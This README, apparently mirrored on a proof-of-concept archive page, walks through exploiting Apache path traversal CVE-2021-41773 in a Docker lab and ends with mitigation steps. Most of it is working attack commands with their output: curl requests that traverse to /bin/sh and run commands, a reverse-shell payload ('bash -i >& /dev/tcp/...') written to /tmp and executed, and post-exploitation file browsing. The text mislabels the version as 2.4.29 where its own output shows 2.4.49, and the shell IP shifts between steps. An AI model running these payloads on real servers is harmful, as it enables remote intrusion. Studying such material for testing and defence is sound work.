关联漏洞
描述
This document provides step-by-step instructions on performing a proof of concept (PoC) exploit on Apache HTTP Server 2.4.29, taking advantage of the path traversal vulnerability (CVE-2021-41773) and the globally accessible /tmp folder on Linux and MITIGATION
介绍
### Proof of Concept: Apache 2.4.29 Exploit and /tmp Folder Global Permission Weakness and Way to Mitigate the Risk
This document provides step-by-step instructions on performing a proof of concept (PoC) exploit on Apache HTTP Server 2.4.29, taking advantage of the path traversal vulnerability (CVE-2021-41773) and the globally accessible `/tmp` folder on Linux.
---
### 1. **Environment Setup**
#### **Docker Environment**
1. **Start the vulnerable Apache server with Docker**:
```bash
#Vulnerable Version
docker run -h "cve-2021-41773" -it -d --privileged=true --name cve-2021-41773 --restart unless-stopped -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
```
```bash
#Fixed Version
docker run -h "cve-2021-41773" -it -d --privileged=true --name cve-2021-41773 --restart unless-stopped -p 8081:80 blueteamsteve/cve-2021-41773:no-cgid
```
#### **Check for Vulnerabilities with Nikto**
2. **Run Nikto to find vulnerabilities**:
```bash
sudo apt-get install nikto -y
```
```bash
nikto -host http://localhost/ -useproxy http://localhost:8080/ -C all
```
```bash
nikto -host 192.168.0.30 -C all -output Apache.html -Format HTML -p 8080
```
# Output
```bash
+ Server: Apache/2.4.49 (Unix)
+ Server leaks inodes via ETags, header found with file /, fields: 0x2d 0x432a5e4a73a80
+ The anti-clickjacking X-Frame-Options header is not present.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 0 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time:2024-10-16 11:26:49 (GMT0) (0 seconds)
```
The output you've shared reveals several potential security issues. Here's a breakdown of the most relevant vulnerabilities:
1. **Server leaks inodes via ETags**:
- This is an **information disclosure** vulnerability. ETags (Entity Tags) are used by web servers to identify resources. If an ETag leaks inode values, it can expose internal information about the file system structure, which could be used by an attacker to learn more about the system and potentially fingerprint the server. However, this is more of an information leak rather than directly exploitable.
2. **Missing X-Frame-Options header (Clickjacking vulnerability)**:
- The **anti-clickjacking X-Frame-Options header** is not present, making the server vulnerable to **clickjacking attacks**. In a clickjacking attack, a malicious actor tricks a user into clicking on something different from what the user perceives, potentially leading to unauthorized actions being taken. This can be mitigated by configuring the server to send the `X-Frame-Options: SAMEORIGIN` or `Content-Security-Policy: frame-ancestors` header.
3. **Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE**:
- The **TRACE method** is enabled, which is a potential security risk. The TRACE method can be used for **Cross-Site Tracing (XST)** attacks. An attacker may use XST to steal cookies, session tokens, or other sensitive information. Disabling the TRACE method on the server can mitigate this risk.
4. **OSVDB-877: HTTP TRACE method is active (Vulnerability to Cross-Site Tracing - XST)**:
- This vulnerability is closely related to the previous point. The server allows HTTP TRACE requests, which makes it vulnerable to XST attacks. This can be exploited to retrieve sensitive information from the server, such as cookies and authentication data, especially when combined with Cross-Site Scripting (XSS).
**Exploitable Vulnerability**:
The most **exploitable** vulnerability here is the **HTTP TRACE method being enabled**, which makes the server vulnerable to **Cross-Site Tracing (XST)** attacks. Attackers can exploit this vulnerability to perform cross-site tracing and potentially steal cookies or session data, especially if combined with a Cross-Site Scripting (XSS) vulnerability.
The relationship between `.%2e` (URL-encoded `..`, often used for directory traversal attacks) and `0x2d 0x432a5e4a73a80` (values in the ETag representing metadata like inode numbers or timestamps) is indirect but significant in the context of **web server vulnerabilities** and **file system security**.
### Breaking It Down:
1. **`.%2e` (URL-encoded `..`) and Directory Traversal:**
- `%2e` is the URL-encoded version of the `.` character. When doubled as `.%2e`, it decodes to `..`, which is commonly used in **directory traversal attacks**.
- In a directory traversal attack, an attacker tries to access directories and files outside of the web root folder by using sequences like `../` or its URL-encoded equivalent `.%2e/.%2e`.
- For example, accessing something like `http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh` could allow an attacker to execute shell commands by traversing the file system to reach sensitive directories.
2. **`0x2d 0x432a5e4a73a80` (ETag Values and Inode Leaks):**
- These hexadecimal values represent metadata related to the **inode** (file metadata identifier) and possibly **timestamps** for a specific file or directory on the server, which are included in HTTP responses via the **ETag** header.
- The **inode number** is unique for each file on a filesystem, and leaking this information can provide attackers with insights into the structure and layout of the server’s file system.
### Relationship Between `.%2e` and ETag Leaks:
- **Directory Traversal (`.%2e`):**
- Attackers use directory traversal to access sensitive files and directories that should not be exposed via a web server. For instance, they might try to access `/etc/passwd`, which contains user account information, or `/var/log`, which stores system logs.
- This attack method can allow attackers to **read files** and possibly **execute commands** (e.g., accessing `bin/sh` as in your example).
- **ETag and Inode Leaks (`0x2d 0x432a5e4a73a80`):**
- ETags leaking **inode numbers** or **file metadata** provide attackers with useful information about the file system. Although this by itself doesn't provide access, it can assist in planning further attacks.
- For example, if an attacker knows the inode number for a specific file and also manages to exploit a directory traversal vulnerability (`.%2e/.%2e/`), they can combine this knowledge to target specific files more efficiently.
### How They Relate in Exploitation:
1. **Reconnaissance via ETag Leaks**: The ETag information, revealing inode numbers (`0x2d 0x432a5e4a73a80`), helps the attacker understand how files are structured on the server, which could guide them toward more valuable files.
2. **Exploitation via Directory Traversal**: The attacker then uses directory traversal (e.g., `.%2e/.%2e/.%2e/.%2e/`) to access and manipulate these files, based on the information gathered.
3. **Combined Effect**: If a server leaks both **file metadata** (like inodes) and is vulnerable to **directory traversal**, attackers can piece these two vulnerabilities together. They might use directory traversal to move around the file system and use the inode information to determine which files to target.
### Example Scenario:
1. **Inode Leak (via ETag)**: An attacker observes an ETag value `0x2d 0x432a5e4a73a80`, which tells them that the server is leaking inode information. The attacker knows there’s a specific file of interest based on its inode number.
2. **Directory Traversal (via `.%2e`)**: The attacker then exploits a directory traversal vulnerability (e.g., `http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`) to attempt to access sensitive files or execute commands on the server.
The path `bin/.%2e/.%2e/.%2e/.%2e/bin/sh` represents a **directory traversal attack** where `%2e` is the URL-encoded representation of a dot (`.`). In web URLs, the `.` character is used in paths to represent the **current directory**, and two dots (`..`) represent moving up to the **parent directory**.
In the context of this path, each `.%2e` (which is decoded as `..`) moves one level up the directory structure. Here's how you break it down:
1. **`bin/`**: Refers to the **`bin`** directory, typically where executable files are stored (like `/bin/sh`).
2. **`.%2e`**: Decodes to `..`, which represents going **up one directory**.
3. Repeated `.%2e` sequences move up the directory structure multiple times.
### Breaking Down the Full Path:
- **`bin/.%2e/.%2e/.%2e/.%2e/bin/sh`**:
- The first `bin/` represents starting in the `bin` directory.
- The first `.%2e` decodes to `..`, moving up one level (out of `bin`).
- The second `.%2e` decodes to `..`, moving up another level.
- The third `.%2e` decodes to `..`, moving up yet another level.
- The fourth `.%2e` decodes to `..`, moving up again.
- Finally, `/bin/sh` is referenced, which points to the **Bourne shell** executable, usually located in the `/bin/` directory.
So the decoded path looks like this:
- **`bin/../../../..`**, which moves four directories up from `bin/`, then accesses `/bin/sh`.
### Example:
If a web server application allows directory traversal, an attacker can exploit it by sending a request like:
```bash
http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
```
This would move up four levels from wherever the CGI script is running, then execute the shell located in `/bin/sh`.
### General Definition:
When multiple `.%2e` sequences are used in a path, each one corresponds to moving up one level in the directory structure, and the overall goal is usually to **escape the web root directory** (or another restricted directory) and access system-level files or directories.
In the example provided, the attacker attempts to escape the current directory (`bin/`) multiple times to gain access to the `/bin/sh` executable, which could then be used to execute arbitrary shell commands on the server.
---
### 2. **Exploit Path Traversal (CVE-2021-41773)**
#### **Step-by-Step Exploit**
1. **Step 1: Scan the Apache Server using Nmap**
```bash
nmap -A -p 8080 192.168.0.30
```
**Result**: Apache https 2.4.49(Unix)
2. **Step 2: Exploit the Apache Server**
```bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id'
```
**Result**: `uid=1(deamon) gid=1(deamon) groups=1(deamon)`
3. **Step 3: Fetch System Information**
```bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a'
```
**Result**: Linux, Ubuntu.....
4. **Step 4: List Directory Contents**
```bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; ls'
```
#### **Step 5: Open Reverse Shell**
5. **Step 5: Set up a Reverse Shell Listener**
```bash
apt install rlwrap
sudo rlwrap nc -lnvp 21
```
6. **Step 6: Get the local IP address** (e.g., `192.168.0.30`)
7. **Step 7: Write a Shell Script to the `/tmp` Folder**
```bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; echo "#!/bin/bash" > /tmp/yes.sh'
```
8. **Step 8: Verify the Shell Script**
```bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; cat /tmp/yes.sh'
```
**Result**: `#!/bin/bash`
9. **Step 9: Add Reverse Shell Payload**
```bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; echo "bash -i >& /dev/tcp/192.168.0.30/21 0>&1" > /tmp/yes.sh'
```
10. **Step 10: Verify the Script Again**
```bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; cat /tmp/yes.sh'
```
**Result**:
```bash
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.160/21 0>&1
```
11. **Step 11: Execute the Shell Script**
```bash
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; bash /tmp/yes.sh'
```

12. **Step 12: Connect to the Reverse Shell**
In the reverse shell listener terminal, you should now be able to connect to the server:
```bash
id
uid=1(deamon) gid=1(deamon) groups=1(deamon)
```

13. **Exploration**: You can now explore the target system:
```bash
cd /tmp
find /usr -name *.conf
cat /usr/local/apache2/conf/httpd.conf
```
---
### 3. **Mitigation Plan**
1. **Upgrade Apache**:
Upgrade to Apache HTTP Server 2.4.50 or later to patch this vulnerability.
2. **Deny Access to Root Directory**:
Update the Apache configuration to deny access to the root directory (`/`):
```apache
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
```
3. **Additional Security Measures**:
- Implement a reverse proxy behind the Apache web server.
- Use Web Application Firewalls (WAF) for added protection.
- Disable `CGI-BIN` and reduce the attack surface.
- Implement MOD security for Apache to prevent similar exploits.

### 1. **Login to Linux as a Management User**
- Make sure you log in as a management user, **not as root**, and **do not use sudo** over SSH.
### 2. **Take a Backup of the FSTAB File**
- Run the following command to create a backup of your existing `/etc/fstab` file:
```bash
cp -p /etc/fstab /etc/fstab.back
```
### 3. **Create `/tmp` as a Separate Partition**
- Use the following commands to create a separate partition for `/tmp`:
```bash
dd if=/dev/zero of=/dev/tmpFS bs=1024 count=100000
mkfs.ext4 /dev/tmpFS
```
### 4. **Backup the Existing `/tmp` Folder**
- Create a backup of the existing `/tmp` folder before proceeding:
```bash
cp -rp /tmp /tmp.back
```
### 5. **Add the New Partition to the FSTAB and Mount it**
- Edit the `/etc/fstab` file to mount the new partition with `nosuid` and `noexec` options for security:
```bash
vim /etc/fstab
```
- Add the following line to the `fstab` file:
```
/dev/tmpFS /tmp ext4 loop,nosuid,noexec,rw 0 0
```
- Then mount all filesystems from the fstab file:
```bash
mount -a
df -hT
```
### 6. **Set Appropriate Permissions for the `/tmp` Directory**
- Set the sticky bit and ensure that the `/tmp` directory is non-executable:
```bash
chmod 1777 /tmp
```
### 7. **Copy Back the Contents of the Backup to `/tmp`**
- Restore the contents from the backup of `/tmp`:
```bash
cp -rf /tmp.back/* /tmp
```
### 8. **Verify the Changes**
- To verify that the `/tmp` directory is non-executable, run the following commands:
```bash
cd /tmp/ && touch dd && echo "hi" > dd && cat dd
./dd
```
- You should get a `Permission denied` message when trying to execute the file in `/tmp`, which means the directory is successfully non-executable.
### 9. **Risk Mitigated**
- With the `/tmp` partition mounted with `nosuid` and `noexec`, and verification completed, the security risk is mitigated.
These commands will help in setting up a secure, non-executable `/tmp` partition to prevent certain types of attacks that rely on the execution of files in `/tmp`.
### References
1. [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
2. [Nikto Tutorial](https://hackertarget.com/nikto-tutorial/)
3. [Disable CGI in Apache](https://tecadmin.net/enable-or-disable-cgi-in-apache24/)
4. [MOD Security for Apache](https://www.server-world.info/en/note?os=CentOS_7&p=httpd2&f=8)
This PoC demonstrates how a path traversal vulnerability in Apache 2.4.29 can be exploited, emphasizing the importance of updating to secure versions and implementing server-side security measures.
文件快照
[4.0K] /data/pocs/98baf93357d859addd5d8bdd1d3d9447824b79eb
├── [1.2K] LICENSE
└── [ 16K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。